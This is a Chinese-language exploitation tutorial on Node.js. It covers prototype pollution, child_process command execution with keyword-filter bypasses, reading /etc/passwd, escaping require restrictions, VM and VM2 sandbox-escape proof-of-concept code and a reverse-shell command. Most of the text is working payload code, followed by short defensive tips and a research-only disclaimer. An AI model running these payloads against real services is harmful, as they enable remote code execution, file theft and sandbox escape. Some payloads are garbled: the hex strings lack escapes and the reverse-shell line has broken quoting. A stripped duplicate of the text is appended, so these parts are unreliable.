nodejs 中的漏洞技巧
字数 1022 2025-08-06 08:35:19

Node.js 安全漏洞与利用技巧详解

原型链基础

在 JavaScript 中,继承的整个过程称为原型链。每个对象都有一个指向其原型的内部链接(__proto__),这个原型对象又有自己的原型,一直到 null 为止。

原型链示例:

  • 日期对象:f -> Date.prototype -> Object.prototype -> null
  • 函数对象:d -> Function.prototype -> Object.prototype -> null
  • 数组对象:c -> Array.prototype -> Object.prototype -> null
  • 类实例:b -> a.prototype -> Object.prototype -> null

访问原型的三种方式:

console.log(f1["__proto__"])
console.log(f1.__proto__)
console.log(f1.constructor.prototype)  // 对象的__proto__属性指向类的原型对象prototype

访问函数的方式:

console.log(f1.constructor.constructor)  // 获取Function,可用于构造匿名函数执行命令

原型链污染漏洞

merge 函数导致的污染

当存在 merge 或 clone 函数时,可能产生原型链污染:

function merge(a, b) {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}

污染原理:

  1. 控制 b[attr] 的值,将 attr 设为 __proto__
  2. 配合 JSON.parse 使 __proto__ 被解析为键名而非原型
  3. 递归过程中,a[attr] 会指向对象 a 的原型,从而向所有对象添加新属性

示例:

let o3 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge({}, o3)
console.log({}.b)  // 输出 2,成功污染原型

Node.js 命令执行技巧

基本命令执行

eval=require("child_process").execSync('cat fl001g.txt')

绕过敏感字符检测的方法

  1. 字符串拼接:
eval=require("child_process")['exe'+'cSync']('cat fl001g.txt')
  1. 十六进制编码:
eval=require("child_process")["\x65\x78\x65\x63\x53\x79\x6e\x63"]('cat fl001g.txt')
  1. Unicode 编码:
eval=require("child_process")["\u0065\u0078\u0065\u0063\u0053\x79\x6e\x63"]('cat fl001g.txt')
  1. 模板字符串:
eval=require(%22child_process%22)[${${exe}cSync}](%27ls%27)

文件操作

  1. 文件读取:
require("fs").readFileSync('/etc/passwd')
  1. 目录查看:
require("fs").readdir(path, callback)
  1. 文件写入:
require("fs").writeFileSync('input.txt', 'sss')

当 require 被禁用时的绕过方法

  1. 使用 global 全局对象:
global.process.mainModule.constructor._load('child_process').exec('ls');
  1. 使用 Function 构造函数:
Function("global.process.mainModule.constructor._load('child_process').exec('ls')")();
  1. 使用定时器:
setInterval(function(){/* 命令执行代码 */}, 2000)
setTimeout(function(){/* 命令执行代码 */}, 2000)

VM 和 VM2 沙箱逃逸

VM 逃逸

基本逃逸方法:

const script = new vm.Script("this.constructor.constructor('return this.process.env')()");

命令执行:

this.constructor.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString()

VM2 逃逸

VM2 对 constructor 和 proto 的访问进行了拦截,但仍存在历史漏洞:

  1. v3.6.9 逃逸 POC:
"use strict";
const {VM} = require('vm2');
const untrusted = `
var process;
try{
Object.defineProperty(Buffer.from(""),"",{
    value:new Proxy({},{
        getPrototypeOf(target){
            if(this.t)
                throw Buffer.from;
            this.t=true;
            return Object.getPrototypeOf(target);
        }
    })
});
}catch(e){
    process = e.constructor("return process")();
}
process.mainModule.require("child_process").execSync("whoami").toString()
`;
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}
  1. v3.8.3 逃逸 POC:
"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
    try{
        Buffer.from(new Proxy({}, {
            getOwnPropertyDescriptor(){
                throw f=>f.constructor("return process")();
            }
        }));
    }catch(e){
        return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
    }
}+')()';
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}

模板字符串利用

模板字符串可以用于绕过关键词过滤:

`${`${`constructo`}r`}`  // 拼接结果为 "constructor"

实际利用示例:

(function (){
    TypeError[`${`${`protot`}ype`}`][`${`${`get_proc`}esss`}`] = f=>f[`${`${`construc`}tor`}`](`${`${`return this.proc`}ess`}`)();
    try{
        Object.preventExtensions(Buffer.from(``)).a = 1;
    }catch(e){
        return e[`${`${`get_proc`}ess`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`whoami`).toString();
    }
})()

或使用十六进制编码:

(function(){TypeError[`x70x72x6fx74x6fx74x79x70x65`][`x67x65x74x5fx70x72x6fx63x65x73x73`] = f=>f[`x63x6fx6ex73x74x72x75x63x74x6fx72`](`x72x65x74x75x72x6ex20x70x72x6fx63x65x73x73`)();try{Object.preventExtensions(Buffer.from(``)).a = 1;}catch(e){return e[`x67x65x74x5fx70x72x6fx63x65x73x73`](()=>{}).mainModule.require((`x63x68x69x6cx64x5fx70x72x6fx63x65x73x73`))[`x65x78x65x63x53x79x6ex63`](`whoami`).toString();}})()

反弹 Shell

在 Node.js 中反弹 Shell 需要注意特殊字符的处理:

code=require('child_process').exec('cmd'|base64 -d|bash');

安全建议

  1. 避免使用不安全的 merge/clone 函数
  2. 对用户输入进行严格过滤
  3. 使用最新版本的 VM2 沙箱
  4. 限制 child_process 模块的使用
  5. 对原型操作进行监控和限制

以上技术仅用于安全研究和防御,请勿用于非法用途。

Node.js 安全漏洞与利用技巧详解 原型链基础 在 JavaScript 中,继承的整个过程称为原型链。每个对象都有一个指向其原型的内部链接( __proto__ ),这个原型对象又有自己的原型,一直到 null 为止。 原型链示例: 日期对象: f -> Date.prototype -> Object.prototype -> null 函数对象: d -> Function.prototype -> Object.prototype -> null 数组对象: c -> Array.prototype -> Object.prototype -> null 类实例: b -> a.prototype -> Object.prototype -> null 访问原型的三种方式: 访问函数的方式: 原型链污染漏洞 merge 函数导致的污染 当存在 merge 或 clone 函数时,可能产生原型链污染: 污染原理: 控制 b[attr] 的值,将 attr 设为 __proto__ 配合 JSON.parse 使 __proto__ 被解析为键名而非原型 递归过程中, a[attr] 会指向对象 a 的原型,从而向所有对象添加新属性 示例: Node.js 命令执行技巧 基本命令执行 绕过敏感字符检测的方法 字符串拼接: 十六进制编码: Unicode 编码: 模板字符串: 文件操作 文件读取: 目录查看: 文件写入: 当 require 被禁用时的绕过方法 使用 global 全局对象: 使用 Function 构造函数: 使用定时器: VM 和 VM2 沙箱逃逸 VM 逃逸 基本逃逸方法: 命令执行: VM2 逃逸 VM2 对 constructor 和 proto 的访问进行了拦截,但仍存在历史漏洞: v3.6.9 逃逸 POC: v3.8.3 逃逸 POC: 模板字符串利用 模板字符串可以用于绕过关键词过滤: 实际利用示例: 或使用十六进制编码: 反弹 Shell 在 Node.js 中反弹 Shell 需要注意特殊字符的处理: 安全建议 避免使用不安全的 merge/clone 函数 对用户输入进行严格过滤 使用最新版本的 VM2 沙箱 限制 child_ process 模块的使用 对原型操作进行监控和限制 以上技术仅用于安全研究和防御,请勿用于非法用途。